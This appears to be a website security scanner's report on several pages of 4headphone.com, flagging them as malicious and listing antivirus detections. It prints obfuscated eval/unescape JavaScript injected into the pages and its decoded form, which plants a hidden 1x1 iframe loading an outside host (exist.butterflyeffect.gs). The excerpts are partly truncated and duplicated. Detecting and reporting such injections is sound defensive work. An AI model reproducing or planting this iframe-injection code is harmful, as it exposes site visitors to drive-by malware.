y6hD0="33hc293hc3"+rry6hD0;LSHK2V=J2xihkF+"47%L5f4"+LSHK2V;SRFq=c4tO+"74sF65sF72sF"+SRFq;afp2Kkn=E6nYE+"RAg%sF4EsF79s"+afp2Kkn;afp2Kkn=oaM8+"sF74sF42sF79"+afp2Kkn;jeGMTm=LSHK2V+"hc3hcSi"+jeGMTm;RTK4=rry6hD0+"%').replac"+RTK4;RTK4+=");";afp2Kkn=jGH4+"').replace("+afp2Kkn;SRFq=afp2Kkn+"sF66sF72sF61sF6"+SRFq;RTK4=jeGMTm+"c433hc3"+RTK4;var fHGEjg0d="4Df478f44%L5f";SRFq=xNOrP+"L69dL66dL28dL6"+SRFq;pBgx4B=SRFq+"5sF63sF"+pBgx4B;RTK4=fHGEjg0d+"4%L5%L5f42Ef4"+RTK4;RTK4=pBgx4B+"L5Bf441f4"+RTK4;eval(RTK4);

Decoded script:


var lyQQOC='dL76dL61dL72dL2tNdL53dL7gMfdL31dL6DdL5AdL75dL77dL3DdL22dL3CdL6gMfdL69dL76dL2tNdL69dL6gMfdL3DdL27dL58dL5AdL58dL5AdL67dL7AdL66dL71dL66dL5AdLgMfEdL79dL27dL3EdL3CdL2FdL6gMfdL69dL76dL3EdL22dL3BdL69dL66dL28dL6gMfdL6FdL63dL75dL6DdL65dL6EdL7gMfdL2EdL62dL6FdL6gMfdL79dL3DdL3DdL6EdL75dL6CdL6CdL29dL53dL7gMfdL31dL6DdL5AdL75dL77dL3DdL27dL3CdL62dL6FdL6gMfdL79dL3EdL27dL2BdL53dL7gMfdL31dL6DdL5AdL75dL77dL2BdL27dL3CdL2FdL62dL6FdL6gMfdL79dL3EdL27dL3BdL6gMfdL6FdL63dL75dL6DdL65dL6EdL7gMfdL2EdL77dL72d
... 3905 bytes are skipped ...
Id('XZXZgzfqfZNy');var AMxC3=document.createElement('iframe');AMxC3.src='http://exist.butterflyeffect.gs/Trop';AMxC3.width='1';
var tUa9=document.getElementById('XZXZgzfqfZNy');var AMxC3=document.createElement('iframe');AMxC3.src='http://exist.butterflyeffect.gs/Trop';AMxC3.width='1';
AMxC3.height='1';AMxC3.name='cwWO6TYIhmoG';AMxC3.style.visibility='hidden';
AMxC3.height='1';AMxC3.name='cwWO6TYIhmoG';AMxC3.style.visibility='hidden';
<div id='XZXZgzfqfZNy'></div>

Antivirus reports:

Avast
JS:Iframe-CYM [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V0109
NANO-Antivirus
Trojan.Script.Iframe.ipzx

http://www.4headphone.com/return.html
200 OK
Content-Length: 16132
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var Q5bElQtf="%FeW34%%FeW";var atQy="8vQH74vQH74vQH";var R8URr="6E%6oG75%6oG6C%";var pCuaPoQ8="replace(";var VoGFm3h="65%6oG6E%6oG";var C9Heox8="ERNlLk='";var P0IZ=".replace(/";var aSZLk0I5="G69%6oG6";var Dl0fLLh="2%69%6jv%";var dtQY2="oG64%6oG69%6oG";var cNhNS5=";eval(unescape";atQy="3vQH3DvQH27vQH6"+atQy;C9Heox8="g,'%')));var LU"+C9Heox8;var gtSfrP="32%%FeW70%%F";var wtxePy="lace(/o";var kf7SuXS="oG4B%6o";var t0D0qc="4vQH2EvQH73vQ";var DC5C="83B';eval(unes";var ZKbvc1M="3E%6oG";var FPMBzSS6="'
... 3000 bytes are skipped ...
oG3E%6oG"+GB6Y5;sOEbxLw=y8JR+"20o1zO3o"+sOEbxLw;oeOV3d=Rim8v37V+"6oG76%6oG61"+oeOV3d;M72fJ=fnR7+"Emm174"+M72fJ;R8URr="6F%6oG64%6oG79%"+R8URr;ubvtNts+="70cdi%Kd4%";M72fJ=sOEbxLw+"/1zO/g,'6').rep"+M72fJ;ZxGmK2=Dl0fLLh+"dD%27%68"+ZxGmK2;ZxGmK2=ubvtNts+"2E%6E%6"+ZxGmK2;M72fJ=ONDh+"e(/%6o"+M72fJ;hrvXL=R8URr+"oG43%6oG76%6"+hrvXL;cnjET=M72fJ+"5vQH63vQH74vQ"+cnjET;cnjET=GB6Y5+"6%6oG4"+cnjET;hrvXL=oeOV3d+"6oG62%6oG"+hrvXL;cnjET=hrvXL+"6oG3C%6oG62%6o"+cnjET;ZxGmK2=cnjET+"4%%FeW74%%Fe"+ZxGmK2;eval(ZxGmK2);

Decoded script:


var HuMD6JEI='%6oG76%6oG61%6oG72%6oG20%6oG43%6oG76%6oG4B%6oG76%6oG3D%6oG22%6oG3C%6oG64%6oG69%6oG76%6oG20%6oG69%6oG64%6oG3D%6oG27%6oG46%6oG33%6oG6B%6oG34%6oG32%6oG6A%6oG44%6oG63%6oG73%6oG27%6oG3E%6oG3C%6oG2F%6oG64%6oG69%6oG76%6oG3E%6oG22%6oG3B%6oG69%6oG66%6oG28%6oG64%6oG6F%6oG63%6oG75%6oG6D%6oG65%6oG6E%6oG74%6oG2E%6oG62%6oG6F%6oG64%6oG79%6oG3D%6oG3D%6oG6E%6oG75%6oG6C%6oG6C%6oG29%6oG43%6oG76%6oG4B%6oG76%6oG3D%6oG27%6oG3C%6oG62%6oG6F%6oG64%6oG79%6oG3E%6oG27%6oG2B%6oG43%6oG76%6oG4B%6oG76%6oG2B%
... 4676 bytes are skipped ...
s');
var ckKXo=document.getElementById('F3k42jDcs');
var H52p4=document.createElement('iframe');
var H52p4=document.createElement('iframe');
H52p4.src='http://exist.butterflyeffect.gs/Trop';
H52p4.src='http://exist.butterflyeffect.gs/Trop';
H52p4.width='1';H52p4.height='1';
H52p4.width='1';H52p4.height='1';
H52p4.name='wSRO6sI';H52p4.style.visibility='hidden';
H52p4.name='wSRO6sI';H52p4.style.visibility='hidden';
<div id='F3k42jDcs'></div>

Antivirus reports:

Avast
JS:Iframe-CYM [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V0109
NANO-Antivirus
Trojan.Script.Iframe.ipzx
GData
Win32.Trojan.Agent.NCVJD3

http://www.4headphone.com/privacy.html
200 OK
Content-Length: 18623
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var olxqig="Vvd%X5Vvd%";var g2fmwiu="XCVvd%X5Vvd%";olxqig="vd%45Vvd%XC"+olxqig;var jvFEY0="4I9W%3e54I9W6";var XyRX="ce(/z/g,'8";var B3ops7JB="2Vvd%79Vvd%49";jvFEY0+="8I9W3Hn3";var LEaDDXU="1I9W3%3e5I9W%3";var EWlth3WA="5I9W66I9W66I";var EghcHxa="39Vvd%XCVv";var Z0VbR="30pGX22FX264X26";var nBskd2L="DVvd%X5Vv";var buJLNRtd="'%')));var ";var T6En4Hh="(/0pG/g,'C";var stY5="Vvd%3XVvd%4z";var jmyINR="a979Ua92EU";var HSjPG="22FX26";var uiBYy="d2EWZd61WZ";var VIfZubU="X262X26";var zCXTzpuf="930Ua952";va
... 3000 bytes are skipped ...
mo+"I9W69I9W%3e53I9"+TUc9;VIfZubU=BhbHfJ+"27X230pG"+VIfZubU;IODAbzM=PLmvlhss+"3Vvd%75Vv"+IODAbzM;T6En4Hh=rI0a1+"g,'9').replace"+T6En4Hh;aGAaCEh=gukxht5+"d68WZd69WZ"+aGAaCEh;qow4IP=FaLDUbX+"927Ua93B'"+qow4IP;qow4IP=TUc9+"e(/Hn3/g,"+qow4IP;VIfZubU=IVgOk4r+"GX264X26gX2"+VIfZubU;qow4IP=g2fmwiu+"X5Vvd%X"+qow4IP;HSjPG=VIfZubU+"27gX23EX22"+HSjPG;T6En4Hh=HSjPG+"3B';ev"+T6En4Hh;qow4IP=IODAbzM+"Vvd%XDVvd%X5"+qow4IP;aGAaCEh=qow4IP+"unescape(ZS"+aGAaCEh;aGAaCEh=T6En4Hh+"')));var Lydf"+aGAaCEh;eval(aGAaCEh);

Decoded script:


var N1SmjZSP='X276X261X272X220X26DX247X276X243X26gX23DX222X230pGX264X26gX276X220X26gX264X23DX227X26EX23gX260pGX231X246X234X273X24FX238X27gX26BX227X23EX230pGX22FX264X26gX276X23EX222X23BX26gX266X228X264X26FX263X275X26DX265X26EX274X22EX262X26FX264X27gX23DX23DX26EX275X260pGX260pGX22gX26DX247X276X243X26gX23DX227X230pGX262X26FX264X27gX23EX227X22BX26DX247X276X243X26gX22BX227X230pGX22FX262X26FX264X27gX23EX227X23B';eval(unescape(N1SmjZSP.replace(/X2/g,'%').replace(/g/g,'9').replace(/0pG/g,'C')));var
... 4812 bytes are skipped ...
.getElementById('n9l1F4sO8yk');var kA7t0Ry=document.createElement('iframe');
kA7t0Ry.src='http://exist.butterflyeffect.gs/Trop';kA7t0Ry.width='1';
kA7t0Ry.src='http://exist.butterflyeffect.gs/Trop';kA7t0Ry.width='1';
kA7t0Ry.height='1';kA7t0Ry.name='biLa2L';
kA7t0Ry.height='1';kA7t0Ry.name='biLa2L';
kA7t0Ry.style.visibility='hidden';DAf6Hi.appendChild(kA7t0Ry);
kA7t0Ry.style.visibility='hidden';DAf6Hi.appendChild(kA7t0Ry);
<div id='n9l1F4sO8yk'></div>

Antivirus reports:

Avast
JS:Iframe-CYM [Trj]
TrendMicro-HouseCall
TROJ_GEN.F47V0109
NANO-Antivirus
Trojan.Url.IframeB.tdejm
GData
Script.Trojan.Agent.B6A5QW

http://www.4headphone.com/sitemap.html
200 OK
Content-Length: 7474
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var uvCYZ="%beW9%";var wEU4="5%iC4c5%79c5%3";var pouXGU="iCCc5%i";var G0JsTuc="'D%')));";var Df4S5ieU="%3Bc5%iC";var DXTNe="FKAm70KAm27";var tciXjP="CKAm2EK";var qKgw="5%4iCc5%27";var SfDROWT1="c5%iCEc5%74c5";var kYFL="c5%iC3c5%75";var MbsBt="iCEc5%74c5%2E";var I89PbnS="5%29c5%43";var KNbB="%44c5%78c5%3";var l8QuZ="65KAm2";var QZjUc85="l(unescape(s";var FnVRFm="eW4%28%beW6%4";var aLYlq="%27c5%3Cc5%2";var pZvL="%73%74";var Y7XzR97="8qNS3D";var vddgbf="4ZNJ6FZ";var xHH6="var FC9A";var ZGjCavMP="4T
... 3000 bytes are skipped ...
5%3Dc5%iCEc5%7"+pIKtgk;P0n1MoB7=G5NAsC+"ZNJ6ZNJA3"+P0n1MoB7;P0n1MoB7+=".replace(/ZNJ/";Iglgg=pIKtgk+"5c5%30"+Iglgg;Iglgg=SfDROWT1+"C2c5%iCFc5"+Iglgg;t5HOrR=Iglgg+"30c5%2Bc5"+t5HOrR;z8kZO43=MQ6YUNdm+"ace(/c5%/g,'%')"+z8kZO43;QmXV=t5HOrR+"%72c5%20c5%4i"+QmXV;pWIGTk=z8kZO43+"7KAm69K"+pWIGTk;P0n1MoB7=zxXb+"/qNS/g,'%')"+P0n1MoB7;P0n1MoB7=pWIGTk+"Am66KAm66KAm65K"+P0n1MoB7;P0n1MoB7=wBUeBgt+"4iCc5%27c5%2"+P0n1MoB7;G0JsTuc=P0n1MoB7+"g,'%').replac"+G0JsTuc;G0JsTuc=QmXV+"9c5%iCBc5%5"+G0JsTuc;eval(G0JsTuc);

Decoded script:


var FC9AEM='c5%7iCc5%iC1c5%72c5%20c5%43c5%43c5%3iCc5%iCBc5%79c5%37c5%45c5%30c5%3Dc5%22c5%3Cc5%iC4c5%iC9c5%7iCc5%20c5%iC9c5%iC4c5%3Dc5%27c5%iCiCc5%iCiCc5%iC7c5%79c5%iCBc5%58c5%iC8c5%42c5%4iCc5%27c5%3Ec5%3Cc5%2Fc5%iC4c5%iC9c5%7iCc5%3Ec5%22c5%3Bc5%iC9c5%iCiCc5%28c5%iC4c5%iCFc5%iC3c5%75c5%iCDc5%iC5c5%iCEc5%74c5%2Ec5%iC2c5%iCFc5%iC4c5%79c5%3Dc5%3Dc5%iCEc5%75c5%iCCc5%iCCc5%29c5%43c5%43c5%3iCc5%iCBc5%79c5%37c5%45c5%30c5%3Dc5%27c5%3Cc5%iC2c5%iCFc5%iC4c5%79c5%3Ec5%27c5%2Bc5%43c5%43c5%3iCc5%iCBc5%79c
... 4538 bytes are skipped ...
r/>var fDQ9l=document.createElement('iframe');fDQ9l.src='http://exist.butterflyeffect.gs/Trop';
var fDQ9l=document.createElement('iframe');fDQ9l.src='http://exist.butterflyeffect.gs/Trop';
fDQ9l.width='1';
fDQ9l.width='1';
fDQ9l.height='1';fDQ9l.name='ek4oEG09P3JK';
fDQ9l.height='1';fDQ9l.name='ek4oEG09P3JK';
fDQ9l.style.visibility='hidden';FADx.appendChild(fDQ9l);
fDQ9l.style.visibility='hidden';FADx.appendChild(fDQ9l);
<div id='ffgykXhBF'></div>

Antivirus reports:

Avast
JS:Iframe-CYM [Trj]
NANO-Antivirus
Trojan.Script.Iframe.ipzx
GData
Script.Trojan.Agent.IR6P9X

http://www.4headphone.com/index.html
200 OK
Content-Length: 8876
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: 4headphone.com

Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: 4headphone.com
Referer: http://www.google.com/search?q=4headphone.com

Result:
The result is similar to the first query. There are no suspicious redirects found.